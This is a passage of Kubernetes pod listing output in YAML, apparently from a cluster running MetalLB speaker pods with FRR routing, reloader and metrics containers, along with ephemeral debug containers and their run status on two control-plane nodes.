        periodSeconds: 10
        successThreshold: 1
        timeoutSeconds: 1
      name: frr
      resources: {}
      securityContext:
        capabilities:
          add:
          - NET_ADMIN
          - NET_RAW
          - SYS_ADMIN
          - NET_BIND_SERVICE
      startupProbe:
        failureThreshold: 30
        httpGet:
          path: /livez
          port: 7473
          scheme: HTTP
        periodSeconds: 5
        successThreshold: 1
        timeoutSeconds: 1
      terminationMessagePath: /dev/termination-log
      terminationMessagePolicy: File
      volumeMounts:
      - mountPath: /var/run/frr
        name: frr-sockets
      - mountPath: /etc/frr
        name: frr-conf
      - mountPath: /var/run/secrets/kubernetes.io/serviceaccount
        name: kube-api-access-7zkks
        readOnly: true
    - command:
      - /etc/frr_reloader/frr-reloader.sh
      image: quay.io/frrouting/frr:9.1.0
      imagePullPolicy: IfNotPresent
      name: reloader
      resources: {}
      terminationMessagePath: /dev/termination-log
      terminationMessagePolicy: File
      volumeMounts:
      - mountPath: /var/run/frr
        name: frr-sockets
      - mountPath: /etc/frr
        name: frr-conf
      - mountPath: /etc/frr_reloader
        name: reloader
      - mountPath: /var/run/secrets/kubernetes.io/serviceaccount
        name: kube-api-access-7zkks
        readOnly: true
    - args:
      - --metrics-port=7473
      command:
      - /etc/frr_metrics/frr-metrics
      env:
      - name: VTYSH_HISTFILE
        value: /dev/null
      image: quay.io/frrouting/frr:9.1.0
      imagePullPolicy: IfNotPresent
      name: frr-metrics
      ports:
      - containerPort: 7473
        hostPort: 7473
        name: monitoring
        protocol: TCP
      resources: {}
      terminationMessagePath: /dev/termination-log
      terminationMessagePolicy: File
      volumeMounts:
      - mountPath: /var/run/frr
        name: frr-sockets
      - mountPath: /etc/frr
        name: frr-conf
      - mountPath: /etc/frr_metrics
        name: metrics
      - mountPath: /var/run/secrets/kubernetes.io/serviceaccount
        name: kube-api-access-7zkks
        readOnly: true
    dnsPolicy: ClusterFirst
    enableServiceLinks: true
    ephemeralContainers:
    - image: busybox
      imagePullPolicy: Always
      name: debugger-rn2k2
      resources: {}
      stdin: true
      terminationMessagePath: /dev/termination-log
      terminationMessagePolicy: File
      tty: true
    - image: busybox
      imagePullPolicy: Always
      name: debugger-jbhw8
      resources: {}
      stdin: true
      terminationMessagePath: /dev/termination-log
      terminationMessagePolicy: File
      tty: true
    - image: busybox
      imagePullPolicy: Always
      name: debugger-5kwr2
      resources: {}
      stdin: true
      terminationMessagePath: /dev/termination-log
      terminationMessagePolicy: File
      tty: true
    - image: alpine:3.22
      imagePullPolicy: IfNotPresent
      name: debugger-qbfzf
      resources: {}
      stdin: true
      terminationMessagePath: /dev/termination-log
      terminationMessagePolicy: File
      tty: true
    - image: alpine:3.22
      imagePullPolicy: IfNotPresent
      name: debugger-kk6lq
      resources: {}
      stdin: true
      terminationMessagePath: /dev/termination-log
      terminationMessagePolicy: File
      tty: true
    hostNetwork: true
    initContainers:
    - command:
      - /bin/sh
      - -c
      - cp -rLf /tmp/frr/* /etc/frr/
      image: quay.io/frrouting/frr:9.1.0
      imagePullPolicy: IfNotPresent
      name: cp-frr-files
      resources: {}
      securityContext:
        runAsGroup: 101
        runAsUser: 100
      terminationMessagePath: /dev/termination-log
      terminationMessagePolicy: File
      volumeMounts:
      - mountPath: /tmp/frr
        name: frr-startup
      - mountPath: /etc/frr
        name: frr-conf
      - mountPath: /var/run/secrets/kubernetes.io/serviceaccount
        name: kube-api-access-7zkks
        readOnly: true
    - command:
      - /cp-tool
      - /frr-reloader.sh
      - /etc/frr_reloader/frr-reloader.sh
      image: quay.io/metallb/speaker:v0.15.2
      imagePullPolicy: IfNotPresent
      name: cp-reloader
      resources: {}
      terminationMessagePath: /dev/termination-log
      terminationMessagePolicy: File
      volumeMounts:
      - mountPath: /etc/frr_reloader
        name: reloader
      - mountPath: /var/run/secrets/kubernetes.io/serviceaccount
        name: kube-api-access-7zkks
        readOnly: true
    - command:
      - /cp-tool
      - /frr-metrics
      - /etc/frr_metrics/frr-metrics
      image: quay.io/metallb/speaker:v0.15.2
      imagePullPolicy: IfNotPresent
      name: cp-metrics
      resources: {}
      terminationMessagePath: /dev/termination-log
      terminationMessagePolicy: File
      volumeMounts:
      - mountPath: /etc/frr_metrics
        name: metrics
      - mountPath: /var/run/secrets/kubernetes.io/serviceaccount
        name: kube-api-access-7zkks
        readOnly: true
    nodeName: k8s-m-1
    nodeSelector:
      kubernetes.io/os: linux
    preemptionPolicy: PreemptLowerPriority
    priority: 0
    restartPolicy: Always
    schedulerName: default-scheduler
    securityContext: {}
    serviceAccount: metallb-speaker
    serviceAccountName: metallb-speaker
    shareProcessNamespace: true
    terminationGracePeriodSeconds: 0
    tolerations:
    - effect: NoSchedule
      key: node-role.kubernetes.io/master
      operator: Exists
    - effect: NoSchedule
      key: node-role.kubernetes.io/control-plane
      operator: Exists
    - effect: NoExecute
      key: node.kubernetes.io/not-ready
      operator: Exists
    - effect: NoExecute
      key: node.kubernetes.io/unreachable
      operator: Exists
    - effect: NoSchedule
      key: node.kubernetes.io/disk-pressure
      operator: Exists
    - effect: NoSchedule
      key: node.kubernetes.io/memory-pressure
      operator: Exists
    - effect: NoSchedule
      key: node.kubernetes.io/pid-pressure
      operator: Exists
    - effect: NoSchedule
      key: node.kubernetes.io/unschedulable
      operator: Exists
    - effect: NoSchedule
      key: node.kubernetes.io/network-unavailable
      operator: Exists
    volumes:
    - name: memberlist
      secret:
        defaultMode: 420
        secretName: metallb-memberlist
    - configMap:
        defaultMode: 256
        name: metallb-excludel2
      name: metallb-excludel2
    - emptyDir: {}
      name: frr-sockets
    - configMap:
        defaultMode: 420
        name: metallb-frr-startup
      name: frr-startup
    - emptyDir: {}
      name: frr-conf
    - emptyDir: {}
      name: reloader
    - emptyDir: {}
      name: metrics
    - name: kube-api-access-7zkks
      projected:
        defaultMode: 420
        sources:
        - serviceAccountToken:
            expirationSeconds: 3607
            path: token
        - configMap:
            items:
            - key: ca.crt
              path: ca.crt
            name: kube-root-ca.crt
        - downwardAPI:
            items:
            - fieldRef:
                apiVersion: v1
                fieldPath: metadata.namespace
              path: namespace
  status:
    conditions:
    - lastProbeTime: null
      lastTransitionTime: "2025-11-29T11:13:02Z"
      status: "True"
      type: PodReadyToStartContainers
    - lastProbeTime: null
      lastTransitionTime: "2025-09-21T18:14:04Z"
      status: "True"
      type: Initialized
    - lastProbeTime: null
      lastTransitionTime: "2025-11-29T11:14:06Z"
      status: "True"
      type: Ready
    - lastProbeTime: null
      lastTransitionTime: "2025-11-29T11:14:06Z"
      status: "True"
      type: ContainersReady
    - lastProbeTime: null
      lastTransitionTime: "2025-09-21T18:13:53Z"
      status: "True"
      type: PodScheduled
    containerStatuses:
    - containerID: containerd://3dea8e9a2be3ccfbdf78793e63fa28eb3bf9c44d6270b83e8f4e5e83aa9dff6c
      image: quay.io/frrouting/frr:9.1.0
      imageID: quay.io/frrouting/frr@sha256:f310c2ebb3827fa03b9674ee05e70a7d5eef2123bcc3b475eb2ef14dafcb52b4
      lastState:
        terminated:
          containerID: containerd://32e1b16a376166b16af7fe76ed72e77972fb639184a42ce124a872aa5fe95a9a
          exitCode: 255
          finishedAt: "2025-11-29T11:12:42Z"
          reason: Unknown
          startedAt: "2025-11-28T13:07:23Z"
      name: frr
      ready: true
      resources: {}
      restartCount: 29
      started: true
      state:
        running:
          startedAt: "2025-11-29T11:13:04Z"
      volumeMounts:
      - mountPath: /var/run/frr
        name: frr-sockets
      - mountPath: /etc/frr
        name: frr-conf
      - mountPath: /var/run/secrets/kubernetes.io/serviceaccount
        name: kube-api-access-7zkks
        readOnly: true
        recursiveReadOnly: Disabled
    - containerID: containerd://a85f1ac2ce36c89b63360fb045478a28ef40c5ab63a926211d2dc507f1622d5e
      image: quay.io/frrouting/frr:9.1.0
      imageID: quay.io/frrouting/frr@sha256:f310c2ebb3827fa03b9674ee05e70a7d5eef2123bcc3b475eb2ef14dafcb52b4
      lastState:
        terminated:
          containerID: containerd://e5001237405c7452907a5e0a415db0924e53c93113a3374203bb2d08c45e1ffa
          exitCode: 255
          finishedAt: "2025-11-29T11:12:42Z"
          reason: Unknown
          startedAt: "2025-11-28T13:07:23Z"
      name: frr-metrics
      ready: true
      resources: {}
      restartCount: 9
      started: true
      state:
        running:
          startedAt: "2025-11-29T11:13:05Z"
      volumeMounts:
      - mountPath: /var/run/frr
        name: frr-sockets
      - mountPath: /etc/frr
        name: frr-conf
      - mountPath: /etc/frr_metrics
        name: metrics
      - mountPath: /var/run/secrets/kubernetes.io/serviceaccount
        name: kube-api-access-7zkks
        readOnly: true
        recursiveReadOnly: Disabled
    - containerID: containerd://9f0eddef78be1f78a2e57119c7db036da56c863f6f1dc285da3a2256ce1484b7
      image: quay.io/frrouting/frr:9.1.0
      imageID: quay.io/frrouting/frr@sha256:f310c2ebb3827fa03b9674ee05e70a7d5eef2123bcc3b475eb2ef14dafcb52b4
      lastState:
        terminated:
          containerID: containerd://fb96199efbb62d223bb13a9c203cd99e540478e81fb574971c67469484134bb2
          exitCode: 255
          finishedAt: "2025-11-29T11:12:42Z"
          reason: Unknown
          startedAt: "2025-11-28T13:07:23Z"
      name: reloader
      ready: true
      resources: {}
      restartCount: 9
      started: true
      state:
        running:
          startedAt: "2025-11-29T11:13:04Z"
      volumeMounts:
      - mountPath: /var/run/frr
        name: frr-sockets
      - mountPath: /etc/frr
        name: frr-conf
      - mountPath: /etc/frr_reloader
        name: reloader
      - mountPath: /var/run/secrets/kubernetes.io/serviceaccount
        name: kube-api-access-7zkks
        readOnly: true
        recursiveReadOnly: Disabled
    - containerID: containerd://fbd94622b08205bffa18b1d6f1e3884806ff0fc875c4539ab6ca2b86905455ab
      image: quay.io/metallb/speaker:v0.15.2
      imageID: quay.io/metallb/speaker@sha256:260c9406f957c0830d4e6cd2e9ac8c05e51ac959dd2462c4c2269ac43076665a
      lastState:
        terminated:
          containerID: containerd://223394d5868e8ea65611001b4fbc570948d22fc361f68c005175f2327a212e61
          exitCode: 255
          finishedAt: "2025-11-29T11:12:42Z"
          reason: Unknown
          startedAt: "2025-11-28T13:07:23Z"
      name: speaker
      ready: true
      resources: {}
      restartCount: 14
      started: true
      state:
        running:
          startedAt: "2025-11-29T11:13:04Z"
      volumeMounts:
      - mountPath: /etc/ml_secret_key
        name: memberlist
      - mountPath: /etc/frr_reloader
        name: reloader
      - mountPath: /etc/metallb
        name: metallb-excludel2
      - mountPath: /var/run/secrets/kubernetes.io/serviceaccount
        name: kube-api-access-7zkks
        readOnly: true
        recursiveReadOnly: Disabled
    ephemeralContainerStatuses:
    - containerID: containerd://b9a7731200ce8adfede8d8fc4840b156f720f0cee7f88dda29a3eea327bcef06
      image: docker.io/library/busybox:latest
      imageID: docker.io/library/busybox@sha256:2f590fc602ce325cbff2ccfc39499014d039546dc400ef8bbf5c6ffb860632e7
      lastState: {}
      name: debugger-5kwr2
      ready: false
      resources: {}
      restartCount: 0
      state:
        terminated:
          containerID: containerd://b9a7731200ce8adfede8d8fc4840b156f720f0cee7f88dda29a3eea327bcef06
          exitCode: 127
          finishedAt: "2025-10-14T23:09:47Z"
          reason: Error
          startedAt: "2025-10-14T22:57:31Z"
    - containerID: containerd://1b8d19760da28a1cb8c2914ed5922f614c74b4265fbea9c0ed2e3c859a56dd31
      image: docker.io/library/busybox:latest
      imageID: docker.io/library/busybox@sha256:2f590fc602ce325cbff2ccfc39499014d039546dc400ef8bbf5c6ffb860632e7
      lastState: {}
      name: debugger-jbhw8
      ready: false
      resources: {}
      restartCount: 0
      state:
        terminated:
          containerID: containerd://1b8d19760da28a1cb8c2914ed5922f614c74b4265fbea9c0ed2e3c859a56dd31
          exitCode: 0
          finishedAt: "2025-10-14T22:57:28Z"
          reason: Completed
          startedAt: "2025-10-14T22:57:19Z"
    - containerID: containerd://dedd1807b40fdadc7e41babc4a6df62a96856c6379314d694cccd40fb7874150
      image: docker.io/library/alpine:3.22
      imageID: docker.io/library/alpine@sha256:4b7ce07002c69e8f3d704a9c5d6fd3053be500b7f1c69fc0d80990c2ad8dd412
      lastState: {}
      name: debugger-kk6lq
      ready: false
      resources: {}
      restartCount: 0
      state:
        terminated:
          containerID: containerd://dedd1807b40fdadc7e41babc4a6df62a96856c6379314d694cccd40fb7874150
          exitCode: 0
          finishedAt: "2025-10-14T23:39:04Z"
          reason: Completed
          startedAt: "2025-10-14T23:17:58Z"
    - containerID: containerd://eec4a4ac34bf9f6802792e13a73e74d9ee59a7f00e9fa3ecde9a0bb61660d6b8
      image: docker.io/library/alpine:3.22
      imageID: docker.io/library/alpine@sha256:4b7ce07002c69e8f3d704a9c5d6fd3053be500b7f1c69fc0d80990c2ad8dd412
      lastState: {}
      name: debugger-qbfzf
      ready: false
      resources: {}
      restartCount: 0
      state:
        terminated:
          containerID: containerd://eec4a4ac34bf9f6802792e13a73e74d9ee59a7f00e9fa3ecde9a0bb61660d6b8
          exitCode: 0
          finishedAt: "2025-10-14T23:16:12Z"
          reason: Completed
          startedAt: "2025-10-14T23:10:43Z"
    - containerID: containerd://95ca4a659db5ed01ab6bd4ca17d93e084d912302a86850ed259eb1aff20754e4
      image: docker.io/library/busybox:latest
      imageID: docker.io/library/busybox@sha256:2f590fc602ce325cbff2ccfc39499014d039546dc400ef8bbf5c6ffb860632e7
      lastState: {}
      name: debugger-rn2k2
      ready: false
      resources: {}
      restartCount: 0
      state:
        terminated:
          containerID: containerd://95ca4a659db5ed01ab6bd4ca17d93e084d912302a86850ed259eb1aff20754e4
          exitCode: 255
          finishedAt: "2025-10-18T01:04:39Z"
          reason: Unknown
          startedAt: "2025-10-14T22:43:37Z"
    hostIP: 172.16.30.16
    hostIPs:
    - ip: 172.16.30.16
    initContainerStatuses:
    - containerID: containerd://d6ebd4cc290ff6bad93ebc228e5f744102894fd545bddc7af63a266aa17ce9cf
      image: quay.io/frrouting/frr:9.1.0
      imageID: quay.io/frrouting/frr@sha256:f310c2ebb3827fa03b9674ee05e70a7d5eef2123bcc3b475eb2ef14dafcb52b4
      lastState: {}
      name: cp-frr-files
      ready: true
      resources: {}
      restartCount: 9
      started: false
      state:
        terminated:
          containerID: containerd://d6ebd4cc290ff6bad93ebc228e5f744102894fd545bddc7af63a266aa17ce9cf
          exitCode: 0
          finishedAt: "2025-11-29T11:13:01Z"
          reason: Completed
          startedAt: "2025-11-29T11:13:01Z"
      volumeMounts:
      - mountPath: /tmp/frr
        name: frr-startup
      - mountPath: /etc/frr
        name: frr-conf
      - mountPath: /var/run/secrets/kubernetes.io/serviceaccount
        name: kube-api-access-7zkks
        readOnly: true
        recursiveReadOnly: Disabled
    - containerID: containerd://58823834b9995ffdac73fcaba7f167ed290083c1611d8177f50502a4a40884f1
      image: quay.io/metallb/speaker:v0.15.2
      imageID: quay.io/metallb/speaker@sha256:260c9406f957c0830d4e6cd2e9ac8c05e51ac959dd2462c4c2269ac43076665a
      lastState: {}
      name: cp-reloader
      ready: true
      resources: {}
      restartCount: 0
      started: false
      state:
        terminated:
          containerID: containerd://58823834b9995ffdac73fcaba7f167ed290083c1611d8177f50502a4a40884f1
          exitCode: 0
          finishedAt: "2025-11-29T11:13:02Z"
          reason: Completed
          startedAt: "2025-11-29T11:13:02Z"
      volumeMounts:
      - mountPath: /etc/frr_reloader
        name: reloader
      - mountPath: /var/run/secrets/kubernetes.io/serviceaccount
        name: kube-api-access-7zkks
        readOnly: true
        recursiveReadOnly: Disabled
    - containerID: containerd://930cea883d4d9eec1b9b0e3748d0f0737538e348c8ae75157c7b2df76464acbd
      image: quay.io/metallb/speaker:v0.15.2
      imageID: quay.io/metallb/speaker@sha256:260c9406f957c0830d4e6cd2e9ac8c05e51ac959dd2462c4c2269ac43076665a
      lastState: {}
      name: cp-metrics
      ready: true
      resources: {}
      restartCount: 0
      started: false
      state:
        terminated:
          containerID: containerd://930cea883d4d9eec1b9b0e3748d0f0737538e348c8ae75157c7b2df76464acbd
          exitCode: 0
          finishedAt: "2025-11-29T11:13:04Z"
          reason: Completed
          startedAt: "2025-11-29T11:13:03Z"
      volumeMounts:
      - mountPath: /etc/frr_metrics
        name: metrics
      - mountPath: /var/run/secrets/kubernetes.io/serviceaccount
        name: kube-api-access-7zkks
        readOnly: true
        recursiveReadOnly: Disabled
    phase: Running
    podIP: 172.16.30.16
    podIPs:
    - ip: 172.16.30.16
    qosClass: BestEffort
    startTime: "2025-09-21T18:13:53Z"
- apiVersion: v1
  kind: Pod
  metadata:
    creationTimestamp: "2025-11-25T15:23:35Z"
    generateName: metallb-speaker-
    generation: 1
    labels:
      app.kubernetes.io/component: speaker
      app.kubernetes.io/instance: metallb
      app.kubernetes.io/name: metallb
      controller-revision-hash: 7fc7479646
      pod-template-generation: "1"
    name: metallb-speaker-w7c6j
    namespace: metallb-system
    ownerReferences:
    - apiVersion: apps/v1
      blockOwnerDeletion: true
      controller: true
      kind: DaemonSet
      name: metallb-speaker
      uid: 3d33e02f-6b43-495c-ab47-c899fc9935bd
    resourceVersion: "18046075"
    uid: 0120376d-2419-4817-8073-5344639d90f7
  spec:
    affinity:
      nodeAffinity:
        requiredDuringSchedulingIgnoredDuringExecution:
          nodeSelectorTerms:
          - matchFields:
            - key: metadata.name
              operator: In
              values:
              - k8s-m-3
    containers:
    - args:
      - --port=7472
      - --log-level=info
      env:
      - name: METALLB_NODE_NAME
        valueFrom:
          fieldRef:
            apiVersion: v1
            fieldPath: spec.nodeName
      - name: METALLB_HOST
        valueFrom:
          fieldRef:
            apiVersion: v1
            fieldPath: status.hostIP
      - name: METALLB_ML_BIND_ADDR
        valueFrom:
          fieldRef:
            apiVersion: v1
            fieldPath: status.podIP
      - name: METALLB_ML_LABELS
        value: app.kubernetes.io/name=metallb,app.kubernetes.io/component=speaker
      - name: METALLB_ML_BIND_PORT
        value: "7946"
      - name: METALLB_ML_SECRET_KEY_PATH
        value: /etc/ml_secret_key
      - name: FRR_CONFIG_FILE
        value: /etc/frr_reloader/frr.conf
      - name: FRR_RELOADER_PID_FILE
        value: /etc/frr_reloader/reloader.pid
      - name: METALLB_BGP_TYPE
        value: frr
      - name: METALLB_POD_NAME
        valueFrom:
          fieldRef:
            apiVersion: v1
            fieldPath: metadata.name
      image: quay.io/metallb/speaker:v0.15.2
      imagePullPolicy: IfNotPresent
      livenessProbe:
        failureThreshold: 3
        httpGet:
          path: /metrics
          port: monitoring
          scheme: HTTP
        initialDelaySeconds: 10
        periodSeconds: 10
        successThreshold: 1
        timeoutSeconds: 1
      name: speaker
      ports:
      - containerPort: 7472
        hostPort: 7472
        name: monitoring
        protocol: TCP
      - containerPort: 7946
        hostPort: 7946
        name: memberlist-tcp
        protocol: TCP
      - containerPort: 7946
        hostPort: 7946
        name: memberlist-udp
        protocol: UDP
      readinessProbe:
        failureThreshold: 3
        httpGet:
          path: /metrics
          port: monitoring
          scheme: HTTP
        initialDelaySeconds: 10
        periodSeconds: 10
        successThreshold: 1
        timeoutSeconds: 1
      resources: {}
      securityContext:
        allowPrivilegeEscalation: false
        capabilities:
          add:
          - NET_RAW
          drop:
          - ALL
        readOnlyRootFilesystem: true
      terminationMessagePath: /dev/termination-log
      terminationMessagePolicy: File
      volumeMounts:
      - mountPath: /etc/ml_secret_key
        name: memberlist
      - mountPath: /etc/frr_reloader
        name: reloader
      - mountPath: /etc/metallb
        name: metallb-excludel2
      - mountPath: /var/run/secrets/kubernetes.io/serviceaccount
        name: kube-api-access-5zbk5
        readOnly: true
    - command:
      - /bin/sh
      - -c
      - "/sbin/tini -- /usr/lib/frr/docker-start \nattempts=0\nuntil [[ -f /etc/frr/frr.log
        || $attempts -eq 60 ]]; do\n  sleep 1\n  attempts=$(( $attempts + 1 ))\ndone\ntail
        -f /etc/frr/frr.log\n"
      env:
      - name: TINI_SUBREAPER
        value: "true"
      image: quay.io/frrouting/frr:9.1.0
      imagePullPolicy: IfNotPresent
      livenessProbe:
        failureThreshold: 3
        httpGet:
          path: livez
          port: 7473
          scheme: HTTP
        initialDelaySeconds: 10
        periodSeconds: 10
        successThreshold: 1
        timeoutSeconds: 1
      name: frr
      resources: {}
      securityContext:
        capabilities:
          add:
          - NET_ADMIN
          - NET_RAW
          - SYS_ADMIN
          - NET_BIND_SERVICE
      startupProbe:
        failureThreshold: 30
        httpGet:
          path: /livez
          port: 7473
          scheme: HTTP
        periodSeconds: 5
        successThreshold: 1
        timeoutSeconds: 1
      terminationMessagePath: /dev/termination-log
      terminationMessagePolicy: File
      volumeMounts:
      - mountPath: /var/run/frr
        name: frr-sockets
      - mountPath: /etc/frr
        name: frr-conf
      - mountPath: /var/run/secrets/kubernetes.io/serviceaccount
        name: kube-api-access-5zbk5
        readOnly: true
    - command:
      - /etc/frr_reloader/frr-reloader.sh
      image: quay.io/frrouting/frr:9.1.0
      imagePullPolicy: IfNotPresent
      name: reloader
      resources: {}
      terminationMessagePath: /dev/termination-log
      terminationMessagePolicy: File
      volumeMounts:
      - mountPath: /var/run/frr
        name: frr-sockets
      - mountPath: /etc/frr
        name: frr-conf
      - mountPath: /etc/frr_reloader
        name: reloader
      - mountPath: /var/run/secrets/kubernetes.io/serviceaccount
        name: kube-api-access-5zbk5
        readOnly: true
    - args:
      - --metrics-port=7473
      command:
      - /etc/frr_metrics/frr-metrics
      env:
      - name: VTYSH_HISTFILE
        value: /dev/null
      image: quay.io/frrouting/frr:9.1.0
      imagePullPolicy: IfNotPresent
      name: frr-metrics
      ports:
      - containerPort: 7473
        hostPort: 7473
        name: monitoring
        protocol: TCP
      resources: {}
      terminationMessagePath: /dev/termination-log
      terminationMessagePolicy: File
      volumeMounts:
      - mountPath: /var/run/frr
        name: frr-sockets
      - mountPath: /etc/frr
        name: frr-conf
      - mountPath: /etc/frr_metrics
        name: metrics
      - mountPath: /var/run/secrets/kubernetes.io/serviceaccount
        name: kube-api-access-5zbk5
        readOnly: true
    dnsPolicy: ClusterFirst
    enableServiceLinks: true
    hostNetwork: true
    initContainers:
    - command:
      - /bin/sh
      - -c
      - cp -rLf /tmp/frr/* /etc/frr/
      image: quay.io/frrouting/frr:9.1.0
      imagePullPolicy: IfNotPresent
      name: cp-frr-files
      resources: {}
      securityContext:
        runAsGroup: 101
        runAsUser: 100
      terminationMessagePath: /dev/termination-log
      terminationMessagePolicy: File
      volumeMounts:
      - mountPath: /tmp/frr
        name: frr-startup
      - mountPath: /etc/frr
        name: frr-conf
      - mountPath: /var/run/secrets/kubernetes.io/serviceaccount
        name: kube-api-access-5zbk5
        readOnly: true
    - command:
      - /cp-tool
      - /frr-reloader.sh
      - /etc/frr_reloader/frr-reloader.sh
      image: quay.io/metallb/speaker:v0.15.2
      imagePullPolicy: IfNotPresent
      name: cp-reloader
      resources: {}
      terminationMessagePath: /dev/termination-log
      terminationMessagePolicy: File
      volumeMounts:
      - mountPath: /etc/frr_reloader
        name: reloader
      - mountPath: /var/run/secrets/kubernetes.io/serviceaccount
        name: kube-api-access-5zbk5
        readOnly: true
    - command:
      - /cp-tool
      - /frr-metrics
      - /etc/frr_metrics/frr-metrics
      image: quay.io/metallb/speaker:v0.15.2
      imagePullPolicy: IfNotPresent
      name: cp-metrics
      resources: {}
      terminationMessagePath: /dev/termination-log
      terminationMessagePolicy: File
      volumeMounts:
      - mountPath: /etc/frr_metrics
        name: metrics
      - mountPath: /var/run/secrets/kubernetes.io/serviceaccount
        name: kube-api-access-5zbk5
        readOnly: true
    nodeName: k8s-m-3
    nodeSelector:
      kubernetes.io/os: linux
    preemptionPolicy: PreemptLowerPriority
    priority: 0
    restartPolicy: Always
    schedulerName: default-scheduler
    securityContext: {}
    serviceAccount: metallb-speaker
    serviceAccountName: metallb-speaker
    shareProcessNamespace: true
    terminationGracePeriodSeconds: 0
    tolerations:
    - effect: NoSchedule
      key: node-role.kubernetes.io/master
      operator: Exists
    - effect: NoSchedule
      key: node-role.kubernetes.io/control-plane
      operator: Exists
    - effect: NoExecute
      key: node.kubernetes.io/not-ready
      operator: Exists
    - effect: NoExecute
      key: node.kubernetes.io/unreachable
      operator: Exists
    - effect: NoSchedule
      key: node.kubernetes.io/disk-pressure
      operator: Exists
    - effect: NoSchedule
      key: node.kubernetes.io/memory-pressure
      operator: Exists
    - effect: NoSchedule
      key: node.kubernetes.io/pid-pressure
      operator: Exists
    - effect: NoSchedule
      key: node.kubernetes.io/unschedulable
      operator: Exists
    - effect: NoSchedule
      key: node.kubernetes.io/network-unavailable
      operator: Exists
    volumes:
    - name: memberlist
      secret:
        defaultMode: 420
        secretName: metallb-memberlist
    - configMap:
        defaultMode: 256
        name: metallb-excludel2
      name: metallb-excludel2
    - emptyDir: {}
      name: frr-sockets
    - configMap:
        defaultMode: 420
        name: metallb-frr-startup
      name: frr-startup
    - emptyDir: {}
      name: frr-conf
    - emptyDir: {}
      name: reloader
    - emptyDir: {}
      name: metrics
    - name: kube-api-access-5zbk5
      projected:
        defaultMode: 420
        sources:
        - serviceAccountToken:
            expirationSeconds: 3607
            path: token
        - configMap:
            items:
            - key: ca.crt
              path: ca.crt
            name: kube-root-ca.crt
        - downwardAPI:
            items:
            - fieldRef:
                apiVersion: v1
                fieldPath: metadata.namespace
              path: namespace
  status:
    conditions:
    - lastProbeTime: null
      lastTransitionTime: "2025-11-29T14:24:38Z"
      status: "True"
      type: PodReadyToStartContainers
    - lastProbeTime: null
      lastTransitionTime: "2025-11-25T15:23:41Z"
      status: "True"
      type: Initialized
    - lastProbeTime: null
      lastTransitionTime: "2025-11-29T14:24:57Z"
      status: "True"
      type: Ready
    - lastProbeTime: null
      lastTransitionTime: "2025-11-29T14:24:57Z"
      status: "True"
      type: ContainersReady
    - lastProbeTime: null
      lastTransitionTime: "2025-11-25T15:23:35Z"
      status: "True"
      type: PodScheduled
    containerStatuses:
    - containerID: containerd://321efdfe663cc7f0cbe2095b0a66d62720752d2e2b0aac6f5f5a805dd642ac29
      image: quay.io/frrouting/frr:9.1.0
      imageID: quay.io/frrouting/frr@sha256:f310c2ebb3827fa03b9674ee05e70a7d5eef2123bcc3b475eb2ef14dafcb52b4
      lastState:
        terminated:
          containerID: containerd://831342ab8e360b1d8882562d569ffbb9c48a067bdd5f36c6faf6a09339e9c5ac
          exitCode: 255
          finishedAt: "2025-11-29T14:24:14Z"
          reason: Unknown
          startedAt: "2025-11-28T12:27:19Z"
      name: frr
      ready: true
      resources: {}
      restartCount: 2
      started: true
      state:
        running:
          startedAt: "2025-11-29T14:24:44Z"
      volumeMounts:
      - mountPath: /var/run/frr
        name: frr-sockets
      - mountPath: /etc/frr
        name: frr-conf
      - mountPath: /var/run/secrets/kubernetes.io/serviceaccount
        name: kube-api-access-5zbk5
        readOnly: true
        recursiveReadOnly: Disabled
    - containerID: containerd://a9f79edb27f2179f77d91a97fa16408e4b8ae1c641eea412b5f5e3f6e3d03c6d
      image: quay.io/frrouting/frr:9.1.0
      imageID: quay.io/frrouting/frr@sha256:f310c2ebb3827fa03b9674ee05e70a7d5eef2123bcc3b475eb2ef14dafcb52b4
      lastState:
        terminated:
          containerID: containerd://3705019ac76044bca534b9c4a9455751b581c0b351ff96515cad9e6cad310bf2
          exitCode: 255
          finishedAt: "2025-11-29T14:24:14Z"
          reason: Unknown
          startedAt: "2025-11-28T12:27:19Z"
      name: frr-metrics
      ready: true
      resources: {}
      restartCount: 2
      started: true
      state:
        running:
          startedAt: "2025-11-29T14:24:44Z"
      volumeMounts:
      - mountPath: /var/run/frr
        name: frr-sockets
      - mountPath: /etc/frr
        name: frr-conf
      - mountPath: /etc/frr_metrics
        name: metrics
      - mountPath: /var/run/secrets/kubernetes.io/serviceaccount
        name: kube-api-access-5zbk5
        readOnly: true
        recursiveReadOnly: Disabled
    - containerID: containerd://d32669227d6850ae7dc999640a6f79a5d8f1080fc7ae966f3464b7e8131b26c3
      image: quay.io/frrouting/frr:9.1.0
      imageID: quay.io/frrouting/frr@sha256:f310c2ebb3827fa03b9674ee05e70a7d5eef2123bcc3b475eb2ef14dafcb52b4
      lastState:
        terminated:
          containerID: containerd://18bf9b9fcd8032657b4e71a181be57ccb93be92d7e69b90dde78cdf309482cdc
          exitCode: 255
          finishedAt: "2025-11-29T14:24:14Z"
          reason: Unknown
          startedAt: "2025-11-28T12:27:19Z"
      name: reloader
      ready: true
      resources: {}
      restartCount: 2
      started: true
      state:
        running:
          startedAt: "2025-11-29T14:24:44Z"
      volumeMounts:
      - mountPath: /var/run/frr
        name: frr-sockets
      - mountPath: /etc/frr
        name: frr-conf
      - mountPath: /etc/frr_reloader
        name: reloader
      - mountPath: /var/run/secrets/kubernetes.io/serviceaccount
        name: kube-api-access-5zbk5
        readOnly: true
        recursiveReadOnly: Disabled
    - containerID: containerd://42070cd3822cb7e3fe5dc87958debc2d1ea2c6adca7e6d73a0a6ce02dea53960
      image: quay.io/metallb/speaker:v0.15.2
      imageID: quay.io/metallb/speaker@sha256:260c9406f957c0830d4e6cd2e9ac8c05e51ac959dd2462c4c2269ac43076665a
      lastState:
        terminated:
          containerID: containerd://ed34eb5bf4cf868c54c4b5936d6c2cabc29eeb0cc3967a7428759f78d537ae66
          exitCode: 255
          finishedAt: "2025-11-29T14:24:14Z"
          reason: Unknown
          startedAt: "2025-11-28T12:27:19Z"
      name: speaker
      ready: true
      resources: {}
      restartCount: 2
      started: true
      state:
        running:
          startedAt: "2025-11-29T14:24:43Z"
      volumeMounts:
      - mountPath: /etc/ml_secret_key
        name: memberlist
      - mountPath: /etc/frr_reloader
        name: reloader
      - mountPath: /etc/metallb
        name: metallb-excludel2
      - mountPath: /var/run/secrets/kubernetes.io/serviceaccount
        name: kube-api-access-5zbk5
        readOnly: true
        recursiveReadOnly: Disabled
    hostIP: 172.16.30.18
    hostIPs:
    - ip: 172.16.30.18
    initContainerStatuses:
